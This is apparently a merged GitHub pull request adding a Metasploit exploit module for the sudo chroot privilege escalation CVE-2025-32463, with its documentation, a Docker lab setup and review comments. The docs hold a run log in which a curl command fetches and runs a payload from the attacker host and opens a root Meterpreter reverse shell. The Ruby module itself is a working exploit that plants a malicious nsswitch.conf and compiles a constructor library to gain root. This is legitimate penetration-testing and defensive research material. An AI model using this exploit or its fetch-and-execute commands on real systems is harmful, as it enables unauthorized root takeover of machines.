Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
## Vulnerable Application


Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`).

## Installation

1. Create `Dockerfile`:
```
# ----- Dockerfile -----
FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git ca-certificates && \
rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && make && make install

RUN useradd -m -s /bin/bash msfuser

USER msfuser
WORKDIR /home/msfuser

CMD ["/bin/bash"]
```
1. `docker build -t sudo-chroot .`
1. `docker run -it --rm --privileged sudo-chroot`


## Verification Steps


1. Start msfconsole
2. Get existing session to low-privileged user
3. Do: `use linux/local/sudo_chroot_cve_2025_32463`
4. Set target payload
5. Do: `set lhost [attacker IP address]`
6. Do: `set lport [attacker port]`
7. Do: `run`

## Options

### COMPILE

Option setting if compile target payload on the target.

### COMPILER

Option setting the compiler to compile target payload.


## Scenarios

```
msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true
[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Running version 1.9.16.2
[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ...
[*] Max line length is 65537
[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf
[*] Creating directory /tmp/ugJjJFSc9q
[*] /tmp/ugJjJFSc9q created
[*] Max line length is 65537
[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf
[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.140 (curl/8.14.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Launching exploit...
[*] Sending stage (3090404 bytes) to 192.168.168.140
[+] Deleted /tmp/Xw1XwkTPC
[+] Deleted /tmp/ugJjJFSc9q
[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200

meterpreter > sysinfo
Computer : kali.kali
OS : Debian (Linux 6.12.25-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
153 changes: 153 additions & 0 deletions modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Packages
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
'Description' => %q{
Sudo before version 1.19.17p1 allows user to use `chroot` option, when
executing command. The option is intended to run a command with
user-selected root directory (if sudoers file allow it). Change in version
1.9.14 allows resolving paths via `chroot` using user-specified root
directory when sudoers is still evaluating.
This allows the attacker to trick Sudo into loading arbitrary shared object,
thus resulting in a privilege escalation.
},
'License' => MSF_LICENSE,

'Author' => [
'msutovsky-r7', # module dev
'Stratascale', # poc dev
'Rich Mirch' # security research
],
'Platform' => [ 'linux' ],

'Arch' => [ ARCH_CMD ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets' => [[ 'Auto', {} ]],

'Privileged' => true,

'References' => [
[ 'EDB', '52352' ],
[ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'],
[ 'CVE', '2025-32463']
],
'DisclosureDate' => '2025-06-30',

'DefaultTarget' => 0,

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What kind of things are logged?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AFAIK, you can add setting to sudo that will save a log every time you run it along with arguments.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

But this isn't the default behaviour, so I don't think we should have IOC_IN_LOGS

}
)
)

# force exploit is used to bypass the check command results
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end

# borrowed from exploits/linux/local/sudo_baron_samedit.rb
def get_version
versions = {}
output = cmd_exec('sudo --version')
if output
version = output.split("\n").first.split(' ').last
versions[:sudo] = version if version =~ /^\d/
end
versions[:sudo].gsub(/p/, '.')
end

def check
sudo_version = installed_package_version('sudo') || get_version

return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?

return CheckCode::Safe if !file?('/etc/nsswitch.conf')

return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))

CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

# needs to compile in real-time to adjust payload execution path
fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?

payload_file = rand_text_alphanumeric(5..10)

existing_shell = cmd_exec('echo $0 || echo ${SHELL}')

return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)

upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")

register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")

temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"

base_dir = rand_text_alphanumeric(5..10)

lib_filename = rand_text_alphanumeric(5..10)

mkdir(temp_dir)

cd(temp_dir)

mkdir(base_dir.to_s)

mkdir("#{base_dir}/etc")

mkdir('libnss_')

return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")

return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")

exploit_code = %<
#include <unistd.h>

__attribute__((constructor))
void exploit(void) {
setreuid(0,0);
execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL);

}>

upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")
Copy link
Contributor

@adfoster-r7 adfoster-r7 Jul 17, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there any context on why we need to upload and compile our own payload here, I think there's existing payload prepend flags in framework for uid/gid setting - or was chdir the hard-blocker here 👀

Copy link
Contributor Author

@msutovsky-r7 msutovsky-r7 Jul 22, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IIRC, the payload needs to chdir to exit from chroot. That being said, I think the bigger blocker might be the fact that payload needs to act as libnss.so library, so for that reason, the constructor for some reason, so I preferred to compile things on fly. But I'll do some tests, see if it might work without compiling anything. After some tests, it seems like generate_payload_dll does not do the trick, because the payload needs to run before main (?), so whatever we want to run, it should be run as init - __attribute__((constructor)). I haven't come across such options for metasploit payload, so I left it as it is.


cmd_exec("sudo -R #{base_dir} #{base_dir}")

timeout = 30
print_status 'Launching exploit...'
output = cmd_exec 'command', nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end